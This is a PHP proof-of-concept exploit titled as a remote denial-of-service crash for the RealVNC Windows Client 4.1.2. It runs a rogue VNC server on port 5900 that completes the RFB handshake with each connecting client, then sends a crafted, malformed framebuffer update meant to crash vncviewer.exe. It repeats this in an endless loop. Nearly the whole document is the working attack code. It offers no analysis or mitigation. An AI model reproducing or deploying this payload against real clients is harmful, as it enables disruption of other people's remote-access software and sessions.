ealVNC Windows Client 4.1.2 Remote DOS Crash PoC
#!/usr/bin/php
<?php
# RealVNC Windows Client DoS
# AppName: vncviewer.exe
# AppVer: 4.1.2.0
# ModName: vncviewer.exe
# ModVer: 4.1.2.0
# Offset: 000229e0
function vncear() {
$port = "5900";
$ser = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_set_option($ser,SOL_SOCKET,SO_REUSEADDR,1);
socket_bind($ser,"0.0.0.0", $port);
socket_listen($ser, 5);
print "\n[+] listening on $port ...\n";
$crashvnc = socket_accept($ser);
print "[+] client connected\n";
// ProtocolVersion
socket_write($crashvnc, "RFB 003.008\n");
while($i=socket_read($crashvnc, 1024)) if(substr($i,0,6) == "RFB 00") break;
print "\tprotocol has been negotiated\n";
// Security type none
socket_write($crashvnc, "\x01\x01");
while($i=socket_read($crashvnc, 1024)) if(ord($i[0])==1)break;
//$i=socket_read($crashvnc, 124);
print "\tsecurity type accepted\n";
// SecurityResult ok
socket_write($crashvnc, "\x00\x00\x00\x00");
while($i=socket_read($crashvnc, 1024))
if(ord($i[0])==0 || ord($i[0])==1)break;
//
socket_write($crashvnc, "\x04\x00". //frame buffer width
"\x03\x00". //frame buffer height
/* pixel format */
"\x20". //bits per pixel
"\x18". //depth
"\x00". // big endian flag
"\x01". // true color flag
"\x00\xFF". //red max
"\x00\xFF". //green max
"\x00\xFF". //blue max
"\x10". //red shift
"\x08". //green shift
"\x00". //blue shift
"\x00\x00\x00". //padding
/* pixel format */
"\x00\x00\x00\x08". //name lenght
"\x41\x4E\x59\x55\x4C\x49\x4E\x41" // name ANYULINA
);
socket_write($crashvnc,
"\x00\x00\x00\x03". //frame buffer update
"\x00\x05\xFF\xFF\x00\x11\x00\x14\xFF\xFF\xFF\x11".
"\x3F\x3F\x3F\x3F\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F".
"\x3F\x00\x3F\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F".
"\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x00\x3F".
"\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x3F\x3F".
"\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x00\x00\x00\x3F\x3F\x3F\x3F\x3F".
"\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x00\x00\x00\x3F\x3F\x3F\x3F\x3F".
"\x3F\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x3F\x3F\x00\x00\x3F".
"\x00\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F".
"\x00\x00\x00\x3F".
"\x00\x3F\x3F\x00\x00\x3F\x3F".
"\x00\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x00\x00\x3F\x3F\x3F\x00\x3F".
"\x3F\x3F\x3F\x3F\x3F\x3F\x3F".
"\x00\x3F\x3F\x00\x3F\x00\x3F\x3F\x00".
"\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F".
"\x00\x3F\x3F\x00\x3F".
"\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x00".
"\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F".
"\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F".
"\x3F\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00".
"\x3F\x3F\x3F\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00".
"\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F".
"\x00\x3F\x3F\x3F\x3F\x3F\x00\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F".
"\x00\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F".
"\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x06".
"\x00\x00\x0F\x00\x00\x0F\x00\x00\x0F\x00\x00".
"\x0F\x00\x00\x0F\xC0\x00\x0F\xF8\x00\x0F\xFC\x00\x6F\xFF\x00\xFF".
"\xFF\x80\xFF\xFF\x80\x7F\xFF\x80\x3F\xFF\x80\x3F\xFF\x80\x3F\xFF".
"\x80\x1F\xFF\x80\x0F\xFF\x00\x0F\xFF\x00\x07\xFE\x00\x03\xFE\x00".
"\x00\x00\x00\x00\x04\x00\x03\x00\x00\x00\x00\x10\x00\x00\x94\xFA");
print "\tit should be dead already";
while(socket_read($crashvnc, 1024)) print ".";
socket_close($crashvnc);
socket_close($ser);
}
print "RealVNC Windows Client DoS (http://realvnc.com/)\n";
for (;;)
vncear();
?>
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